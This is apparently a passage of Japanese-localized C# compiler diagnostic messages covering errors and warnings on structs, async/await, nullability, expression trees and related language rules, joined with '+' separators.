構造体のフィールドは、コントロールが呼び出し元に返される前にコンストラクターに完全に割り当てられている必要があります。言語バージョンを更新してフィールドを自動で既定にすることを検討してください。 + 省略可能なパラメーターはすべての必須パラメーターの後で指定する必要があります + 警告がエラーをオーバーライドしています + このラベルは参照されていません + 変数 '{0}' は宣言されていますが、使用されていません + ジェネリック {1} '{0}' を使用するには、{2} 型引数が必要です + 'UnmanagedCallersOnly' メソッド '{0}' は、インターフェイス メンバー '{1}' を型 '{2}' で実装できません + #endif ディレクティブ が必要です + goto は using 宣言より後の位置にはジャンプできません。 + 現在のメソッドでは、Task または Task<TResult> を返す非同期メソッドを呼び出すため、await 演算子は結果に適用されません。非同期メソッド呼び出しにより、非同期タスクが開始されます。しかし、await 演算子が適用されないため、プログラムはタスクが完了するのを待たずに継続されます。ほとんどの場合、この動作は期待されているものではありません。通常、呼び出しているメソッドの他のアスペクトは呼び出し結果に依存します。または最低限でも、呼び出されたメソッドは、呼び出しを含んでいるメソッドから復帰する前に完了していることが必要とされます。 + +同様に重要な問題として、呼び出された非同期メソッドでどんな例外が発生するかということがあります。Task または Task<TResult> を返すメソッドで発生した例外は、返されたタスクに保管されます。タスクを待機しないか例外を明示的にチェックしない場合、例外は失われます。タスクを待機する場合、例外は再スローされます。 + +ベスト プラクティスとして、常に呼び出しを待機するようにしてください。 + +警告を表示しないことを考慮するのは、非同期の呼び出しの完了の待機を行う必要がなく、呼び出されたメソッドが例外を起こさないことが確実な場合だけにしてください。その場合、呼び出しのタスク結果を変数に割り当てて、警告を表示しないようにできます。 + クエリ式 + レコード メンバー '{0}' は protected でなければなりません。 + '{0}' 属性の引数の値が無効です + 不明なアセンブリにプロセッサ固有モジュール '{0}' を指定することはできません。 + 書式指定子に末尾の空白を含めることはできません。 + UnscopedRefAttribute は、既定では範囲外であるため、このパラメーターに適用できません。 + 型 '{0}' は new() のターゲット型として使用することはできません + InterpolatedStringHandlerArgumentAttribute 引数は、属性が使用されているパラメーターを参照できません。 + 変数は割り当てられていますが、その値は使用されていません + add または remove アクセサーには本体が必要です + '{0}' 明示的なメソッドの実装で、アクセサーである '{1}' を実装することはできません + メンバーは、実行時に複数の一致があるインターフェイス メンバーを実装します + XML コメントで param タグ '{0}' が重複しています + 列挙子名 '{0}' は予約されているため、使用できません + 式ツリーのラムダに辞書初期化子を含めることはできません。 + 補間された生文字列リテラルの先頭に十分な数の '$' 文字がないため、連続する終わり波かっこをコンテンツとして使用できません。 + インライン配列 'Slice' メソッドは要素アクセス式には使用されません。 + メンバー '{0}' はアクセス可能なメンバーを非表示にしません。新しいキーワードは不要です。 + 動的呼び出しでは、すべての固定引数を指定した後に名前付き引数を指定する必要があります。 + '{0}': スタティック型はパラメーターとして使用することはできません + #pragma 警告のプリプロセッサ ディレクティブに渡された番号は無効な警告番号です。番号がエラー番号ではなく警告番号を表していることを確認してください。 + catch ブロックおよび finally ブロックで待機 + 戻り値の型における参照型の NULL 値の許容が、ターゲット デリゲートと一致しません。おそらく、NULL 値の許容の属性が原因です。 + '{0}': エントリ ポイントがジェネリックになったり、ジェネリック型の中に存在したりすることはできません + '{0}' はインターフェイス メンバー '{1}' を実装しません + '{0}' に '{1}' の定義が含まれておらず、最も適している拡張メソッド オーバーロード '{2}' には '{3}' 型のレシーバーが必要です + #r はスクリプトでのみ許可されます + 動的な型のある引数は、推定された型の引数のある汎用ローカル関数 '{0}' に渡すことはできません。 + #line ディレクティブの終了位置は、開始位置と同じかそれ以上でなければなりません + 構文ツリーが既に存在しています + プライマリ コンストラクター パラメーターがベースのメンバーによってシャドウされています + コントロールを呼び出し元に返す前に、自動実装プロパティ '{0}' を完全に割り当てる必要があります。プロパティを自動既定値にするため '{1}' 言語バージョンに更新することを検討してください。 + 割り当てられていない可能性のあるフィールドを使用しています。フィールドを自動既定値にするため言語バージョンを更新することを検討してください。 + null 参照の可能性があるものの逆参照です。 + 無効な出力名: {0} + ComImport 属性を持つクラスはユーザー定義のコンストラクターを持てません + CollectionBuilderAttribute メソッド名が無効です。 + このメソッドは参照渡しで返すため、return 式の型は '{0}' でなければなりません + 読み取り専用型のプライマリ コンストラクター パラメーター '{0}' のメンバーを ref または out 値として使用することはできません (型または変数初期化子の init 専用セッターを除く)。 + 自動実装プロパティは get アクセサーを持つ必要があります。 + 識別子 '{0}' は CLS に準拠していません + ++ または -- 演算子の戻り値の型は、パラメーター型と一致するか、パラメーター型から派生しているか、またはパラメーター型が異なる型パラメーターでない限りそれに制約された含んでいる型の型パラメーターである必要があります。 + インライン配列変換演算子は、宣言する型の式からの変換には使用されません。 + '{0}' のデバッグ情報の読み取りエラー + 式ツリーに ref 構造体または制限がある型 '{0}' の値を含めることはできません。 + 静的クラスにデストラクターを含めることはできません + パラメーター '{0}' は、パラメーター '{1}' で補間された文字列ハンドラーの変換への引数ですが、対応する引数は、補間された文字列式の後に指定されています。引数を並べ替えて、'{0}' を '{1}' の前に移動します。 + 式は常に指定された型 ('{0}') です + ソース ファイル参照はサポートされていません。 + パラメーターの参照の種類の修飾子が、非表示のメンバーの対応するパラメーターと一致しません。 + '{0}': スタティック型を戻り値の型として使用することはできません + 部分的な構造体 '{0}' の複数の宣言内にあるフィールド間に、定義された順序がありません。順序を指定するには、すべてのインスタンス フィールドが同じ宣言内になければなりません。 + アクセシビリティに一貫性がありません。インデクサーの戻り値の型 '{1}' のアクセシビリティはインデクサー '{0}' よりも低く設定されています + CLS 準拠フィールドを volatile にすることはできません + 非逐語的な補間された文字列内の改行は、C# {0} ではサポートされていません。{1} またはそれ以上の言語バージョンを使用してください。 + アクセシビリティに一貫性がありません。パラメーター型 '{1}' のアクセシビリティはメソッド '{0}' よりも低く設定されています + ツリーには、SyntaxKind.CompilationUnit を伴うルート ノードがある必要があります。 + 代入、呼び出し、インクリメント、デクリメント、新しいオブジェクトの式のみがステートメントとして使用できます + オプションの引数が許可されないコンテキストで使用されるメンバーに適用されるため、パラメーター '{0}' に適用された CallerFilePathAttribute は無効になります + params はこのコンテキストでは有効ではありません + 式ツリーのラムダは、ref、in、out パラメーターを含むことはできません + ファイル ローカル型 '{0}' は、'global using static' ディレクティブでは使用できません。 + System.Collections.IEnumerable' を実装していないため、型 '{0}' はコレクション初期化子で初期化することはできません。 + ポインター型でパターン マッチングを使用することはできません。 + 型 '{0}' の式は指定されたパターンと常に一致します。 + 機能 '{0}' は現在、プレビュー段階であり、*サポートされていません*。プレビュー機能を使用するには、'preview' 言語バージョンを使用してください。 + オーバーロードされた shift 演算子の最初のオペランドはそれを含む型と同じ型 + 自動プロパティ初期化子 + リソース '{0}' を読み込み中にエラーが発生しました -- '{1}' + プリプロセッサ ディレクティブが必要です + オーバーロードされたシフト演算子の最初のオペランドは、それを含む型またはそれに制約された型パラメーターと同じ型である必要があります + 'await' は、型 '{0}' を含む式では使用できません + アクセシビリティ修飾子は、プロパティまたはインデクサー '{0}' の両方のアクセサーに指定できません + 部分メソッドの宣言には、シグネチャの違いがあります。 + モジュール初期化子メソッド '{0}' をジェネリックにすることはできず、ジェネリック型に含めることはできません + タプル要素名は一意である必要があります。 + 言語名が無効です + '{0}': 演算子またはアクセサーを明示的に呼び出すことはできません + '{0}' を extern にして、コンストラクター初期化子を含めることはできません + Null 許容値型は Null になる場合があります。 + 自動実装プロパティは参照渡しで返すことができません + 複数行の生文字列リテラルは、逐語的に補間された文字列でのみ使用できます。 + 必要な空白がありませんでした。 + '{0}' netmodule への参照がありません。 + 割り当てられていない可能性のあるフィールド '{0}' を使用しています。フィールドを自動既定値にするため '{1}' 言語バージョンに更新することを検討してください。 + '{0}' では 'Equals' が定義されていますが、'GetHashCode' は定義されていません + この操作によってスタック オーバーフローが発生しました。 + foreach 繰り返し変数 + '{0}': '{1}' はイベントではないためオーバーライドできません + '{0}' TypeForwardedToAttribute が重複しています + 固定サイズ バッファーには、0 よりも大きい値を指定しなければなりません + '非同期メソッドまたはラムダ式の内部で 'await' を識別子として使用することはできません + 定数値 '{0}' は '{1}' に変換できません (unchecked 構文を使ってオーバーライドしてください) + 識別子が CLS に準拠していません + 辞書初期化子 + C# コンパイラで内部エラーが発生しました。 + パラメーター '{0}' に適用された CallerArgumentExpressionAttribute は、CallerLineNumberAttribute によってオーバーライドされるため無効となります。 + これは参照渡しでパラメーターを返しますが、現在のメソッドに範囲設定されています + パラメーター '{1}' が null 以外であるため、パラメーター '{0}' には、終了時に null 以外の値が含まれている必要があります。 + 補間された文字列 + 型 '{1}' の {0} に値を返さないコード パスがあります + 予期しない参照比較です。左辺をキャストする必要があります + 基本型 '{0}' にアクセス可能なコピー コンストラクターが見つかりませんでした。 + このパラメーターに対応する位置にあるメンバー '{0}' が非表示になっています。 + PermissionSet 属性の名前付き引数 '{1}' に対して指定されたファイル パス '{0}' を解決できません + 無効な数字です + 参照アセンブリ '{0}' には '{1}' の異なるカルチャ設定があります。 + Cref 属性の参照があいまいです + 拡張メソッドの最初のパラメーターを型 '{0}' にすることはできません + 読み取り専用の参照 + '{0}' は {1} です。これは特定のコンテンツでは無効になります + ref、out、または配列のランクのみが異なるオーバーロード メソッド '{0}' は、CLS に準拠していません + void は無効なパラメーター型です + 制約は非ジェネリック宣言では許可されません + XML コメントに構文的に正しくない cref 属性があります + 匿名メソッド + '#nullable' 注釈コンテキスト内のコードでのみ、Null 許容参照型の注釈を使用する必要があります。 + 式ツリーにスロー式を含めることはできません。 + 型 '{0}' を '{1}' に変換できません + フィルター式は定数 'false' です。try-catch ブロックの削除を検討してください + '{0}' という名前付き引数が複数指定されました + 配列型の指定子の角かっこ、[]、は、パラメーター名の前に使用してください + Null 非許容の値型であるため、Null を '{0}' に変換できません + 複数回指定されたアナライザー参照 '{0}' + 'partial' 修飾子は、'class'、'record'、'struct'、'interface'、またはメソッドの戻り値の型の直前にのみ指定できます。 + '{1}' に一致するには、メソッド '{0}' は非ジェネリックである必要があります。 + 型は、コレクション パターンを実装しません。メンバーはパブリック インスタンスまたは拡張メソッドではありません。 + DefaultParameterValue 属性への引数の型は、パラメーター型と一致していることが必要です + '{0}' のターゲット型がありません + 無効な参照エイリアス オプションです: '{0}=' -- ファイル名が指定されていません + レコードのフィールドに対して型 '{0}' を使用することはできません。 + フィールドまたは自動実装プロパティは、それが ref 構造体のインスタンス メンバーである場合を除いて、型 '{0}' にすることができません。 + 無効な変性: 言語バージョン '{4}' 以上が使用されていない限り、型パラメーター '{1}' は '{0}' で {3} が有効である必要があります。'{1}' は {2} です。 + using ディレクティブは、以前に global using として使用されています + パラメーター '{0}' に適用された CallerArgumentExpressionAttribute は、省略可能な引数を許可しないコンテキストで使用されるメンバーに適用されるため無効となります + 名前付き引数 '{0}' の場所が正しくありません。後ろに名前なし引数があります + 読み取り専用フィールド '{0}' のメンバーを書き込み可能な参照渡しで返すことはできません + 型 '{0}' の式を、動的ディスパッチされる操作の引数として使用することはできません。 + ソース型 'dynamic' に対するクエリ式または型 'dynamic' の結合シーケンスのあるクエリ式は使用できません + オプション '{0}' は、は、ソース ファイルまたは追加されたモジュールで指定された属性 '{1}' をオーバーライドします + '{0}': メンバー名をそれを囲む型の名前と同じにすることはできません + '{0}': 非同期 using ステートメントで使用される型は、暗黙的に 'System.IAsyncDisposable' に変換可能であるか、適切な 'DisposeAsync' メソッドを実装する必要があります。'await using' ではなく 'using' ですか? + パラメーター リスト内の '{1}' の後にパラメーター '{0}' が発生しますが、補間された文字列ハンドラーの変換の引数として使用されます。呼び出し元が呼び出しサイトで名前付き引数を使用してパラメーターを並べ替える必要があります。関係するすべての引数の後に、補間された文字列ハンドラーのパラメーターを指定することを検討してください。 + 無効なハッシュ アルゴリズム名: '{0}' + コンテキスト キーワード 'var' は、ローカル変数宣言内またはスクリプト コード内でのみ有効です + 式ツリーに静的仮想または抽象インターフェイス メンバーへのアクセス権を含めることはできません + イメージの基数 '{0}' が無効です + Windows ランタイム イベントを out または ref のパラメーターとして渡すことはできません。 + 型 '{0}' のインスタンスは、入れ子になった関数、クエリ式、反復子ブロック、または非同期メソッドの中では使用できません + '{0}' は、インターフェイス メンバー '{1}' を実装していません。'{2}' は一致する '{3}' の戻り値の型を持たないため、'{1}' を実装できません。 + 引数は 'ref' または 'in' キーワード (keyword)で渡す必要があります + 拡張プロパティ パターン + {0} 句のいずれかの式の型が正しくありません。'{1}' の呼び出しで型を推論できませんでした。 + XML コメントに型パラメーターを参照する cref 属性があります + ファイル ローカル型 '{0}' はアクセシビリティ修飾子を使用することはできません。 + プライマリ コンストラクター パラメーター '{0}' は、ベースのメンバーによってシャドウされています。 + メソッド名が必要です + 匿名メソッド、ラムダ式、またはクエリ式の内部では、固定のローカルな '{0}' は使用できません + 同期エントリ ポイント '{1}' が検出されたため、メソッド '{0}' はエントリ ポイントとして使用されません。 + __arglist は、このコンテキストでは無効です + 終了時にメンバー '{0}' には null 以外の値が含まれている必要があります。 + 要素を null にすることはできません。 + C# シンボルではありません。 + &method グループ '{0}' を関数以外のポインター型 '{1}' に変換することはできません。 + '{0}': スタティック型はパラメーターとして使用することはできません + 'unsafe' に設定できるのは、'using static' または 'using エイリアス' のみです。 + モジュール '{1}' からエクスポートされた型 '{0}' は、このアセンブリのプライマリ モジュールで宣言した型と競合しています。 + switch 式が入力の種類で可能なすべての値を処理していません (すべてを網羅していません)。 + アンマネージド構築型 + これは、マネージ型のアドレスの取得、サイズの取得、またはそのマネージ型へのポインターの宣言を行います + 指定したバージョン文字列 '{0}' は、必要な形式 (major[.minor[.build[.revision]]]) に従っていません。 + '{1}' の複数のインスタンスを実装するため、foreach ステートメントは、型 '{0}' の変数では操作できません。特定のインターフェイスのインスタンス化にキャストしてください + XML コメントに param タグが存在しますが、その名前に相当するパラメーターはありません + 識別子がありません + パターン マッチング + Using エイリアスを NULL 許容参照型にすることはできません。 + CallerMemberNameAttribute は効果がなく、CallerFilePathAttribute によってオーバーライドされます + A collection expression of type '{0}' cannot be used in this context because it may be exposed outside of the current scope. + ファイルの種類 + 式ツリーは、ベース アクセスを含むことはできません + パラメーターには '{0}' 修飾子を 1 つだけ指定できます + goto ステートメントのスコープに '{0}' というラベルはありません + アンセーフ コードは /unsafe でコンパイルした場合のみ有効です + '{0}' への呼び出しによって返された参照は、'await' または 'yield' 境界を越えて保持することはできません。 + '{0}': 仮想または抽象メンバーには、private を指定できません + CallerArgumentExpressionAttribute が無効なパラメーター名で適用されています。 + レコード内の位置指定フィールド + 読み取り専用メンバー + 参照されているアセンブリのカルチャ設定が異なります + 拡張メソッド '{0}' の最初の 'in' または 'ref readonly' パラメーターは、具象 (非ジェネリック) の値型である必要があります。 + ジェネレーター '{0}' を初期化できませんでした。出力には寄与しません。結果として、コンパイル エラーが発生する可能性があります。例外の型: '{1}'。メッセージ: '{2}'。 +{3} + '{0}' は単純型ではないため、型 '{0}' の値を Null 許容パラメーター '{1}' の既定のパラメーターとして使用することはできません + 型 '{1}' への標準変換が存在しないため、型 '{0}' の値を既定のパラメーターとして使用できません + パラメーター '{0}' の型における参照型の Null 許容性が、インターセプト可能なメソッド '{1}' と一致しません。 + 必要なメンバー'{1}'をオーバーライドするため、'{0}' が必須です + '{0}' は抽象ですが、非抽象型の '{1}' に含まれています + ダイナミック + Null 参照代入の可能性があります。 + 現在のメソッドに範囲指定されているため、パラメーター '{0}' のメンバーを参照渡しで返すことはできません + アセンブリ '{1}' のモジュール '{0}' によって、型 '{2}' が複数のアセンブリ '{3}' および '{4}' に転送されています。 + #pragma 警告の後に、'disable' または 'restore' が必要です + SecurityAction の値 '{0}' は、型またはメソッドに適用するセキュリティ属性に対して無効です + '{0}' は {1} ですが、{2} のように使用されています + レコード メンバー '{0}' は '{1}' を返す必要があります。 + プリプロセッサ ディレクティブは行でスペース以外の最初の文字でなければなりません + フィールド + 配列 + using エイリアス + 桁区切り記号 + 割り当てられていない可能性のあるフィールド '{0}' を使用しています。フィールドを自動既定値にするため '{1}' 言語バージョンに更新することを検討してください。 + is-type 式で Null 許容参照型 '{0}?' を使用することはできません。代わりに基になる型 '{0}' をご使用ください。 + 終了時にパラメーター '{0}' には null 以外の値が含まれている必要があります。 + イベント + 修飾子 '{0}' がこの項目に対して有効ではありません + ディスカード + 署名に必要な、キー ファイル '{0}' のプライベート キーがありません + ラベル + __arglist 式は呼び出し、または new 式の中でのみ有効です + アルゴリズム '{0}' はサポートされていません + メソッドは戻り値の型を持たなければなりません + 型パラメーター + 列挙型は明示的なパラメーターなしのコンス トラクターを含めることはできません + '{0}' は 'UnmanagedCallersOnly' 属性が設定されているため、直接呼び出すことはできません。このメソッドへの関数ポインターを取得してください。 + 両方の部分メソッド宣言には、同じアクセシビリティ修飾子を指定する必要があります。 + 属性の場所はこの宣言に対して無効です + ハッシュを生成中に暗号化に失敗しました。 + このメソッドは、トークンの作成にのみ使用できます - {0} はトークンの種類ではありません。 + メンバー '{0}' をこの属性で使用することはできません。 + '{0}' は、パラメーター修飾子 '{2}' と '{3}' だけが異なるオーバーロードされた {1} を定義できません + 関数ポインター '{0}' には {1} 個の引数を指定できません + Null 抑制演算子 ('!') が重複しています + 型における参照型の Null 許容性が、オーバーライドされるメンバーと一致しません。 + 現在のコンテキストに '{0}' という名前は存在しません (アセンブリ '{1}' に対する参照が指定されていることを確認してください) + キーワード 'base' は現在のコンテキストでは使用できません + 宣言する前にローカル変数 '{0}' を使用できません + 非同期 using + リテラル文字列 ']]>' は要素コンテンツでは許可されていません。 + '{0}': 動的インターフェイス '{1}' を実装できません + メンバー初期化子とクエリ内の式変数の宣言 + 対象のランタイムは ref フィールドをサポートしていません。 + 'scoped' 修飾子または '[UnscopedRef]' 属性の違いにより、'{1}' を使用して '{0}' への呼び出しをインターセプトできません。 + '{0}' の部分メソッド宣言には、型パラメーター '{1}' の制約に NULL 値の許容の矛盾があります + パラメーターは指定されたアンマネージ型に対して無効です。 + /REFERENCEPATH オプション + 式ツリーには、ローカル関数への参照が含まれていない可能性があります + フィールドに複数の異なる定数値があります。 + {0} バージョン {1} + Copyright (C) Microsoft Corporation. All rights reserved. + セキュリティ属性 '{0}' はこの宣言型では無効です。セキュリティ属性は、アセンブリ、型、メソッドの宣言でのみ有効です。 + using static + 現在のデバッグ セッション中に追加されたメンバー '{0}' には、宣言しているアセンブリ '{1}' からのみアクセスできます。 + ファイルの最初のトークンの後は、#load を使用できません + 型名には、小文字の ASCII 文字のみが含まれています。このような名前は、プログラミング言語用に予約されている可能性があります。 + 式のツリーは、出力引数の変数宣言を含むことはできません。 + XML コメントの cref 属性 ('{1}') のパラメーター {0} の型が無効です + この型を、ジェネリック型またはメソッド内で型パラメーターとして使用することはできません。型引数の Null 許容性が 'class' 制約と一致しません。 + アクセシビリティに一貫性がありません。制約型 '{1}' のアクセシビリティは '{0}' よりも低く設定されています + '{0}' を abstract および sealed に同時に指定することはできません + 予期しない文字 '{0}' + '{0}' は有効な名前付き属性引数ではありません。名前付き属性引数は、読み取り専用、static、const、または公開され、静的でない読み書き可能なプロパティ以外のフィールドである必要があります。 + 認識できない #pragma ディレクティブです + スタティック型 '{0}' の変数を宣言することはできません + /link (相互運用機能型の埋め込みプロパティを True に設定する) を使用して、アセンブリへの参照を追加しました。これを実行することで、コンパイラにそのアセンブリから相互運用の型情報を埋め込むよう指示します。しかし、参照した別のアセンブリが /reference (相互運用機能型の埋め込みプロパティを False に設定する) を使用してそのアセンブリを参照しているため、コンパイラはそのアセンブリの相互運用の型情報を埋め込むことができません。 + +両方のアセンブリの相互運用の型情報を埋め込むには、各アセンブリへの参照に /link (相互運用機能型の埋め込みプロパティを True に設定する) を使用します。 + +警告を取り除くには、代わりに /reference (相互運用機能型の埋め込みプロパティを False に設定) を使用します。この場合、プライマリ相互運用機能アセンブリ (PIA) が相互運用の型情報を提供します。 + 戻り値の型における参照型の Null 許容性が、インターセプト可能なメソッド '{0}' と一致しません。 + 式本体のプロパティ アクセサー + '{0}' は演算子 == または演算子 != を定義しますが、Object.Equals(object o) をオーバーライドしません。 + 型引数の数が正しくありません + '{0}' は、パターン '{1}' を実装しません。'{2}' には正しくないシグネチャが含まれます。 + 非同期 foreach では、戻り値の型 '{1}' の '{0}' に適切なパブリック 'MoveNextAsync' メソッドおよびパブリック 'Current' プロパティが含まれている必要があります + 名前空間の宣言に、修飾子または属性を指定することはできません + '{0}': StructLayout(LayoutKind.Explicit) でマークされた型のインスタンス フィールドには、FieldOffset 属性を指定する必要があります + 抽象型またはインターフェイス '{0}' のインスタンスを作成できません + イベントのインターフェイスを明示的に実装するには、イベント アクセサーの構文を使用する必要があります + '{0}' の定数値の評価により、循環定義が発生します + '{0}' は、この宣言の有効な属性ではありません。宣言の有効な属性の場所は '{1}' です。このブロックの属性はすべて無視されます。 + このコンテキストにおけるこの種類 '{0}' の stackalloc 式の結果は、それを含んでいるメソッドの外部に公開される可能性があります + '{0}' が '{1}' と '{2}' の間であいまいです。' @{0}' を使用するか、'属性' サフィックスを明示的に含めてください。 + ; が必要です + 適用可能な 1 つ以上のオーバーロードが条件付きメソッドであるため、動的ディスパッチされた呼び出しは実行時に失敗することがあります + 名前空間がインポートされた型と競合しています + 部分メソッドでは、複数の実装宣言を含むことができない場合があります + '{0}' は '{1}' であるため、ref 値または out 値として使用することはできません + フレンド アクセスのアクセス権は '{0}' によって付与されますが、出力アセンブリにおける厳密な名前の署名の状態が付与するアセンブリと一致しません。 + target-typed オブジェクトの作成 + パラメーター リストを持つ型で宣言されたコンストラクターには、'this' コンストラクター初期化子が必要です。 + 制約は動的な型 '{0}' にすることはできません + 演算子 '{0}' は '{1}' 型のオペランドに適用できません + 読み取り専用型のプライマリ コンストラクター パラメーターを書き込み可能な参照で返すことはできません + '{0}': volatile フィールドへの参照は、volatile として扱われません + 式ツリーに動的な操作を含めることはできません + 暗黙的に型指定されたローカル変数は修正できません + インポートされた型 '{0}' は無効です。これには循環する基本データ型の依存関係が含まれています。 + ソース型 '{0}' に対してクエリ パターンの複数の実装が見つかりました。'{1}' の呼び出しがあいまいです。 + コマンド ライン スイッチ '{0}' はまだ実装されていないため、無視されました。 + 型における参照型の Null 許容性が、実装されるメンバーと一致しません。 + メソッド、演算子、またはアクセサー '{0}' は external に設定されていて属性を持っていません。外部の実装を指定するには、DllImport 属性の追加を検討してください。 + '{0}' は、'{1}' からの有効なパラメーター名ではありません。 + アクセシビリティに一貫性がありません。パラメーター型 '{1}' のアクセシビリティはインデクサー '{0}' よりも低く設定されています + 定義済みの型 '{0}' が複数の参照先アセンブリで宣言されています: '{1}' と '{2}' + 式のようなプロパティ + 'RefKind.Out' は、戻り値の型に対して有効な参照の種類ではありません。 + 代替的な挿入逐語的文字列 + 入れ子になった関数での名前シャドウイング + FieldOffset 属性は、static または const フィールドで使用できません + 匿名メソッド、ラムダ式、クエリ式内で ref ローカル変数 '{0}' は使用できません + 現在のメソッドに範囲指定されているため、参照渡し '{0}' でパラメーターを返すことはできません + 型 '{1}' および '{2}' のオペランドの演算子 '{0}' があいまいです + '{0}' の戻り値の型は CLS に準拠していません + switch 式の arm が 'case' キーワードで始まりません。 + CallerArgumentExpressionAttribute は、既定値を含むパラメーターにのみ適用できます + アセンブリ参照が ID と一致すると仮定します + '{0}' に '{1}' の定義が含まれておらず、型 '{0}' の最初の引数を受け付ける拡張メソッド '{1}' が見つかりませんでした ('{2}' の using ディレクティブが不足していないことを確認してください) + 遅延署名が指定されたため、公開キーが必要ですが、公開キーが指定されませんでした + '{0}' の既定値が Null であるため、式は常に System.NullReferenceException になります。 + インデクサーには最低パラメーターが 1 つ必要です + '{1}' との互換性をテストするために '{0}' を使用することは、 '{2}' との互換性をテストすることと実質的に同じであり、null 以外のすべての値で成功します + 指定された呼び出しは複数回インターセプトされています。 + 整数型の値が必要です + 参照型の NULL 値の許容の違いにより、引数をパラメーターの出力として使用することはできません。 + この言語機能 ('{0}') はまだ実装されていません。 + 構文ツリーは、送信から作成する必要があります。 + 完全修飾名が、デバッグ情報に対して長すぎます + 'readonly' 修飾子は 'ref' の後に指定する必要があります。 + RuntimeMetadataVersion の値が見つかりませんでした。System.Object を含むアセンブリが見つからず、オプションを使用して RuntimeMetadataVersion の値が指定されてもいませんでした。 + Null 許容参照型の注釈は、'#nullable' 注釈のコンテキスト内のコードでのみ使用する必要があります。自動生成されたコードには、ソースに明示的な '#nullable' ディレクティブが必要です。 + インターフェイスは、'ComImportAttribute' ではなく、'CoClassAttribute' に設定されました + ラムダ パラメーター配列 + 割り当てられたインスタンスがすべての例外パスで破棄されていません + 'in' が必要です + 参照アセンブリ '{0}' にエラーがあります。 + パラメーターの型の NULL 値の許容が、オーバーライドされたメンバーと一致しません。おそらく、NULL 値の許容の属性が原因です。 + タプル要素名 '{0}' はいずれの位置でも使用できません。 + 負のインデックスで配列します。配列は常にゼロからの開始を示します + CLSCompliant 属性は、戻り値の型に適用されても意味がありません。メソッドに適用してください。 + Main メソッドに指定された '{0}' は、非ジェネリックのクラス、レコード、構造体、またはインターフェイスでなければなりません + この引数の組み合わせは、パラメーターによって参照される変数が宣言のスコープ外に公開される可能性があります + コレクション初期化子要素に最も適しているオーバーロード Add メソッド '{0}' は古い形式です。{1} + CLS 準拠の確認は、このアセンブリの外から認識できないため実行されません + '{0}' の partial 宣言には、型パラメーター '{1}' に対して矛盾する制約が含まれています + Main メソッドに指定された '{0}' が見つかりませんでした + 参照渡しのマーシャリングクラスのフィールドを ref 値または out 値として使用するか、そのフィールドのアドレスを取得すると、ランタイム例外が発生する可能性があります + and パターン + '{0}' の必要なパラメーター '{1}' に対応する特定の引数がありません + 名前 '{0}' は対応する 'Deconstruct' パラメーター '{1}' と一致しません。 + 指定されたソース コードの種類がサポートされていないか無効です: '{0}' + これは、現在のメソッドに範囲指定されているパラメーターのメンバーを参照渡しで返します + パラメーター配列には既定値を指定できません + 同じ変数に代入されました + 前処理シンボルの名前が無効です。'{0}' は有効な識別子ではありません + '型パラメーターの代用に対して統合している可能性があるため、'{0}' は '{1}' と '{2}' の両方を実装することはできません + アセンブリ '{1}' に転送された型 '{0}' は、モジュール '{3}' からエクスポートされた型 '{2}' と競合しています。 + 型 '{2}' は、ジェネリック型のパラメーター '{1}'、またはメソッド '{0}' として使用するために、Null 非許容の値型でなければなりません + スタティック型を戻り値の型として使用することはできない + メソッドに、エントリ ポイントになる不適切な署名があります + 修飾子 '{0}' が重複しています + 反変 + リスト パターンは、'{0}' 型の値に使用されない可能性があります。 + 戻り値の型がデリゲート戻り値の型と一致しないため、{0} を型 '{1}' に変換できません + verbatim 識別子の後にはキーワード、識別子、または文字列が必要です:@ + C# {1} では、修飾子 '{0}' はこの項目に対して有効ではありません。'{2}' 以上の言語バージョンをご使用ください。 + 明示的なインターフェイスの実装 '{0}' にアクセサー '{1}' はありません + '{2}' は、ジェネリック型またはメソッド '{0}' 内でパラメーター '{1}' として使用するために、パブリック パラメーターなしのコンストラクターを持つ非抽象型でなければなりません + '{0}': 含む型は、インターフェイス '{1}' を実装しません + '{0}': ref 構造体はインターフェイスを実装できません + メソッド '{0}' は非ジェネリックであるか、'{2}' と一致するアリティ {1} を持っている必要があります。 + ソース型 '{0}' のクエリ パターンの実装が見つかりませんでした。'{1}' が見つかりません。'System.Linq' の必要なアセンブリ参照か using ディレクティブが不足していないかご確認ください。 + ユーザー定義の演算子は void を返すことはできません + パラメーターの型における参照型の Null 許容性が、暗黙的に実装されるメンバーと一致しません。 + バイナリ リテラル + 負のサイズで配列を作成することはできません + パターン ベースの廃棄 + 静的クラス + オーバーライドおよび明示的なインターフェイスの実装メソッドの制約 + yield ステートメントは、匿名メソッドまたはラムダ式の内部では使用できません + 型 '{0}' にはジェネリック引数があるため、この型を埋め込むことはできません。'相互運用型の埋め込み' プロパティを false に設定することを検討してください。 + ソース ファイルは、PDB 内で表せる 16,707,565 行の限界を超えているため、デバッグ情報は不正確になります + ref 構造体 + インデックス演算子 + '{0}' はインターフェイス メンバー '{1}' を実装しません。'{2}' は public ではありません。 + ラムダ パラメーターに適用しても InterpolatedStringHandlerArgument は効果がありません。呼び出しサイトでは無視されます。 + '{1}' は、型のパラメーター '{0}' を定義しません + case 定数に '_' を使用しないでください。 + レシーバーの種類 '{0}' は有効なレコード型でも構造体型でもありません。 + 動的な型では typeof 演算子を使用できません + インクリメント演算子またはデクリメント演算子のオペランドには、変数、プロパティ、またはインデクサーを指定してください + /embed スイッチは、PDB を生成する場合にのみサポートされます。 + 指定された式を fixed ステートメントで使用することはできません + '{0}' に extern と abstract の両方を指定することはできません + '{0}' に変換可能な型のオブジェクトが必要です + 静的クラス '{0}' のインスタンスを作成することはできません + フィールド '{0}' は、割り当てられていない可能性があります + switch ケースに到達できません。以前のケースで既に処理されたか、一致させることができません。 + '{0}' は継承されたメンバー '{1}' を非表示にします。非表示にする場合は、キーワード new を使用してください。 + 無効な Unicode 文字です。 + 参照渡しで返すラムダ式は、式ツリーに変換できません + コンパイラの必須型 '{0}' が見つからないため、タプルを利用するクラスまたはメンバーを定義できません。参照が指定されていることを確認してください。 + ファイル '{0}' から公開キーで出力に署名する際にエラーが発生しました -- {1} + '{0}': 制約クラスと 'class' または 'struct' 制約の両方を指定することはできません + 構造体内の匿名メソッド、ラムダ式、クエリ式、ローカル関数は、インスタンス メンバー内でも使用されるプライマリ コンストラクター パラメーターにアクセスできません + パラメーターの型における参照型の Null 許容性が、インターセプト可能なメソッドと一致しません。 + using static' ディレクティブは型に対してのみ適用できます。'{0}' は型ではなく名前空間です。代わりに 'using namespace' ディレクティブを使用することを検討してください。 + 最初にデリゲートまたは式ツリー型にキャストしていない場合は、ラムダ式を、動的ディスパッチされる操作の引数として使用することはできません。 + 値渡しの返却は、値渡しで返すメソッドでのみ使用できます + stackalloc 式の型 '{0}' 